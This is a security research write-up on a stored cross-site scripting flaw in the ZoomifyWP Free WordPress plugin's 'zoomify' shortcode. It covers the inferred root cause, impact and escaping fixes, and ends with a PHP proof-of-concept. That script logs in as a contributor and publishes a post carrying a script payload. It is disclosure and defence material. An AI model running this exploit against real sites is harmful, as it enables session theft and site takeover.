Atomic Edge analysis of CVE-2026-1187 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the ZoomifyWP Free WordPress plugin. The vulnerability exists in the ‘zoomify’ shortcode’s ‘filename’ attribute. Attackers with Contributor-level permissions or higher can inject malicious scripts into posts or pages. These scripts execute when users view the compromised content. The CVSS score of 6.4 reflects its moderate severity, with scope change and confidentiality impacts.
The root cause is insufficient input sanitization and output escaping on user-supplied shortcode attributes. Atomic Edge research infers the plugin likely uses the WordPress shortcode API to register the ‘zoomify’ shortcode. The plugin’s callback function probably directly echoes or unsafely outputs the ‘filename’ attribute value without proper escaping. The CWE-79 classification confirms this as improper neutralization of input during web page generation. Without source code, this conclusion is inferred from the vulnerability description and WordPress plugin patterns.
Exploitation requires an authenticated attacker with at least Contributor-level access. The attacker creates or edits a post or page using the WordPress editor. They insert the ‘zoomify’ shortcode with a malicious ‘filename’ attribute payload. Example payload: [zoomify filename=”alert(document.domain)”] The plugin stores this unsanitized shortcode in the database. When any user views the page, the plugin outputs the attribute value without escaping, executing the JavaScript in the victim’s browser.
Remediation requires implementing proper output escaping on the ‘filename’ attribute. The plugin should use WordPress escaping functions like esc_attr() when outputting shortcode attributes in HTML contexts. Input validation could also restrict the ‘filename’ parameter to expected file name patterns. The patched version should escape all user-controlled data before rendering it in the browser. WordPress shortcode handlers must treat all attributes as untrusted user input.
Successful exploitation allows attackers to perform actions within the victim’s browser context. Attackers can steal session cookies, redirect users to malicious sites, or modify page content. Since the vulnerability affects Contributor-level users, attackers could compromise administrator accounts viewing infected posts. The stored nature means a single injection affects all subsequent visitors. This could lead to complete site takeover if administrator credentials are captured.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1187 - ZoomifyWP Free <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'filename' Shortcode Attribute
<?php
$target_url = 'http://target-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload to inject via the 'filename' attribute
$xss_payload = '<script>alert("Atomic Edge XSS Test: "+document.domain)</script>';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Check if login succeeded by looking for dashboard elements
if (strpos($login_response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Extract nonce for creating a new post
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
$new_post_page = curl_exec($ch);
// Parse the nonce from the page (simplified - actual implementation would need proper parsing)
// WordPress uses _wpnonce or similar nonce fields for post creation
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $new_post_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
if (empty($nonce)) {
die('Could not extract nonce for post creation.');
}
// Create a new post with the malicious shortcode
$post_data = [
'post_title' => 'Atomic Edge XSS Test Post',
'content' => '[zoomify filename="' . $xss_payload . '"]',
'publish' => 'Publish',
'_wpnonce' => $nonce,
'_wp_http_referer' => $target_url . '/wp-admin/post-new.php',
'post_type' => 'post'
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$post_response = curl_exec($ch);
// Check if post was created successfully
if (strpos($post_response, 'Post published') !== false || strpos($post_response, 'post=') !== false) {
echo 'Exploit likely successful. Visit the newly created post to trigger XSS.n';
echo 'The shortcode [zoomify filename="' . htmlspecialchars($xss_payload) . '"] was inserted.n';
} else {
echo 'Post creation may have failed. Check permissions and nonce.n';
}
curl_close($ch);
?>
